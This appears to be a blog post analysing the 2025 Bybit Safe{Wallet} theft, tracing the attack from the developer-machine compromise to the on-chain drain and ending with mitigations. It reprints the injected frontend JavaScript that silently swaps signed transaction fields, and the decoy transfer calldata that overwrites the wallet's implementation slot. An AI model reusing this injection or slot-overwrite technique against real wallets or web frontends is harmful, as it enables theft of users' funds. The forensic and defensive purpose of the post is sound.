Web3Exploit logoWeb3Exploit
← Back to Case Research

Bybit $1.46B Case Research: Tracing the Safe{Wallet} delegatecall Takeover

2025-02-22Exchange Incidents7 min read

When I work an incident like this, I don't start from the headline number. I start from one question: what exactly did the signers approve, byte for byte, and why did the chain accept it? The $1.46B figure is just the blast radius. The interesting part of Bybit is that every on-chain step was valid — valid signatures, valid execTransaction, valid opcode. The lie lived one layer above the chain, in a JavaScript bundle served from an S3 bucket.

This is a reconstruction from public forensic material (Sygnia, Verichains, Mandiant via Safe, NCC Group, BlockSec, CertiK, AnChain.AI). I'll flag where attribution is firm and where it's still inference.

The takeaway I keep coming back to: a 3-of-n multisig only protects the moment of signing. It does nothing about what you're actually signing.

Target architecture: where the trust boundary really sits

Bybit's ETH cold wallet was a Safe (formerly Gnosis Safe) smart account at 0x1db9...dcf4, configured 3-of-n.

Safe accounts are proxies. Two storage slots matter for this incident (per BlockSec's analysis):

  • masterCopy at slot 0 — the implementation address the proxy delegatecalls into for all logic, including signature verification.
  • threshold at slot 4 — the n in n-of-m. For Bybit, 3.

Because the proxy reaches its implementation via delegatecall, the implementation executes in the proxy's own storage context. Hold onto that — it's the entire game. Anything that runs via delegatecall from this account can write slot 0 and replace the brain of the wallet.

The signing path is execTransaction(...) on the implementation:

function execTransaction(
    address to,
    uint256 value,
    bytes calldata data,
    Enum.Operation operation,   // 0 = Call, 1 = DelegateCall
    uint256 safeTxGas,
    uint256 baseGas,
    uint256 gasPrice,
    address gasToken,
    address payable refundReceiver,
    bytes memory signatures
) public payable returns (bool success);

execTransaction hashes these fields (EIP-712), runs checkSignatures(...) against the threshold, then calls execute(to, value, data, operation, ...). When operation == 1, execute performs a delegatecall to to. The signers approve to, data, and operation. If those three are poisoned, the contract does exactly what it's told.

That's the trust boundary: not the keys, not the threshold, but the integrity of the fields presented to the signer. The attacker attacked the presentation, not the cryptography.

Off-chain: the tampered JavaScript

Forensics (Sygnia, Verichains) traced the breach to a compromised Safe{Wallet} developer machine, then AWS access, then a modified frontend bundle (_app-52c9031bfa03da47.js) served from Safe's S3 bucket. NCC Group recovered the injected logic from a Wayback snapshot. Lightly reformatted:

let wa = ["0x1db92e2eebc8e0c075a02bea49a2935bcd2dfcf4",   // Bybit cold wallet
          "0x19c6876e978d9f128147439ac4cd9ea2582cd141"];
let ba = ["0x828424517f9f04015db02169f4026d57b2b07229",   // additional targets
          "0x7c1091cf6f36b0140d5e2faf18c3be29fee42d97"];
let ta = "0x96221423681a6d52e184d440a8efcebb105c7242";    // delegatecall target
let da = "0xa9059cbb000000000000000000000000bdd077f651ebe7f7b3ce16fe5f2b025be2969516" +
         "0000000000000000000000000000000000000000000000000000000000000000";
let op = 1;          // delegatecall
let vl = 0;
let sga = 45746;

const cf = wa.some(k1 => lu.includes(k1));   // is the Safe a target?
const cb = ba.some(k1 => sa.includes(k1));   // is the signer a target?
if (cf == true && se.data.operation == 0) {
  const td = structuredClone(se.data);       // stash the REAL tx for display
  se.data.to = ta;
  se.data.operation = op;
  se.data.data = da;
  se.data.value = vl;
  se.data.safeTxGas = sga;
  // sign the MALICIOUS payload...
  const r = await sd.signTransaction(se, st);
  r.data = td;                               // ...then restore the real one in the UI
  se.data = td;
  return r;
}

Read what this actually does, because it's a textbook supply-chain signing attack:

  1. Targeting. It only fires for Bybit's Safe (wa) / specific signers (ba). Everyone else sees a normal Safe{Wallet}. That selectivity is why it stayed invisible for days.
  2. Swap before sign. When a legit Call (operation 0) transfer is being built, it clones the real tx (td), then overwrites to, data, operation, value, safeTxGas with the attacker's payload.
  3. Sign the lie. signTransaction produces a valid signature over the malicious fields.
  4. Restore the truth. It puts the original data back (r.data = td; se.data = td) so the UI and any post-sign review still show the benign transfer. The signer's mental model never updates.

Now decode da. The selector 0xa9059cbb is transfer(address,uint256) — the ERC-20 selector. That's deliberate camouflage. But the target ta = 0x9622...7242 isn't a token; it's an attacker contract reached via delegatecall. Its transfer(address,uint256) is a decoy that writes its first argument — 0xbdd077...9516 — into storage slot 0. The amount argument is 0, ignored. So:

A function that looks like an ERC-20 transfer, executed via delegatecall, overwrites masterCopy. One signed transaction swaps the wallet's entire implementation.

On-chain: the takeover transaction

The malicious execTransaction landed here: 0x46deef...7882. Decoded, the signed fields were:

  • to = 0x96221423681a6d52e184d440a8efcebb105c7242 (attacker contract, deployed Feb 18 — three days early)
  • operation = 1 (delegatecall)
  • data = 0xa9059cbb…bdd077…9516…00 (transfer() decoy writing slot 0)
  • value = 0, safeTxGas = 45746

Execution flow inside the call:

  1. Proxy delegatecalls its current (legit) masterCopy; execTransaction runs.
  2. checkSignatures validates the three real signatures over the malicious hash. Passes — the signers genuinely signed this.
  3. execute(...) sees operation == 1 and delegatecalls into 0x9622...7242 in the proxy's storage context.
  4. The decoy transfer() writes 0xbdd077...9516 to slot 0. masterCopy is now the attacker's implementation 0xbdd077…9516.

From this block onward, the Safe's "logic" is attacker code. AnChain.AI and Sygnia reverse-engineered it to contain sweepETH() and sweepERC20() — drain primitives with no signature checks. The multisig was structurally over.

Transaction trail: following the money out

With the implementation swapped, draining needed no further approvals. Per CertiK's transaction set, all from victim 0x1db9...dcf4 to attacker 0x0fa0…6d2e:

Then standard Lazarus dispersion: fan-out to fresh wallets, DEX swaps of LSTs into native ETH (to shed freezable/pausable tokens), and downstream mixing. The FBI attributes this to the DPRK cluster it tracks as TraderTraitor (Lazarus). Within ~2 minutes of execution, the attacker replaced the injected JS with a clean version to burn the evidence.

Full kill chain (forensic timeline)

Sygnia + Mandiant (via Safe) put the on-chain minute at the end of a ~3-week operation:

  • Feb 2 — C2 domain getstockprice[.]com registered.
  • Feb 4 — Safe{Wallet} developer's macOS host compromised via social engineering (a malicious Docker/Python project in ~/Downloads).
  • Feb 5 — Stolen AWS session token used; a rogue MFA device registration attempt.
  • Feb 5–17 — Recon inside Safe's AWS: IAM roles, S3 buckets.
  • Feb 19 — Malicious JS injected into the S3-hosted frontend, gated to Bybit's wallet.
  • Feb 21, ~14:13 UTC — Bybit runs a routine cold→warm transfer; payload swapped; ~400K ETH drained. Cleanup minutes later.

Note the asymmetry: weeks of patient Web2 intrusion, minutes of on-chain finality. No smart-contract bug, no broken cryptography. Safe's contracts and signers' keys were never the weakness; the build/serve pipeline of the signing UI was.

What I'd actually change (operator view)

Having traced it end to end, the mitigations that would have broken this specific chain:

  1. Independent calldata verification before signing. Reconstruct to / data / operation from raw bytes on a separate device and confirm operation == 0 for treasury transfers. The attack survives only because nobody decoded the payload off the compromised UI. Decoding da alone would have screamed.
  2. Refuse blind delegatecall on custody wallets. A policy engine that hard-blocks operation == 1 for cold-wallet flows kills the masterCopy overwrite outright.
  3. Treat the frontend as signing infrastructure. SRI hashes, code signing, locked deploy paths, and integrity monitoring on the served bundle. An S3 object with write access should never be one credential away from your treasury.
  4. Watch slot 0. Alert on any masterCopy/implementation change on custody Safes. That single invariant is a high-signal, low-noise tripwire.
  5. Semantic display on the hardware wallet. Ledger showed raw fields; "interpreting raw multisig data on a tiny screen" is not a control. Push for clear-signing / structured display for Safe operations.

Confidence notes

  • Firm: the on-chain artifacts (tx hashes, addresses, slot-0 overwrite, operation=1, decoded da) are independently verifiable on Etherscan and consistent across CertiK, BlockSec, and NCC Group.
  • Firm: the tampered-JS mechanism — NCC recovered it from a public Wayback snapshot; Verichains/Sygnia corroborate.
  • High but report-dependent: the macOS→AWS→S3 intrusion path and the timeline come from Sygnia/Mandiant; some internal AWS specifics remain undisclosed.
  • Attribution: Lazarus/TraderTraitor per FBI and Arkham; standard caveats on nation-state attribution apply.

Sources

  • NCC Group — In-Depth Technical Analysis of the Bybit Hack (recovered JS, off-chain breakdown): https://www.nccgroup.com/us/research-blog/in-depth-technical-analysis-of-the-bybit-hack/
  • BlockSec — In-depth analysis of the malicious Safe{Wallet} upgrade (slot mechanics): https://blocksec.com/blog/bybit-1-5-b-hack-in-depth-analysis-of-the-malicious-safe-wallet-upgrade-attack
  • CertiK — Bybit Incident Technical Analysis (tx hashes, addresses): https://www.certik.com/blog/bybit-incident-technical-analysis
  • Sygnia — Bybit Investigation / "What We Know So Far" (timeline): https://www.sygnia.co/blog/sygnia-investigation-bybit-hack/
  • AnChain.AI — Smart Contract Forensics Timeline (sweep functions, bytecode RE): https://www.anchain.ai/blog/bybit
  • Safe Ecosystem Foundation — forensic statement: https://x.com/safe/status/1894768522720350673
  • Bybit — official cold wallet incident post-mortem: https://announcements.bybit.com/article/incident-update---eth-cold-wallet-incident-blt292c0454d26e9140/
  • FBI IC3 — PSA on TraderTraitor / DPRK: https://www.ic3.gov/PSA/2025/PSA250226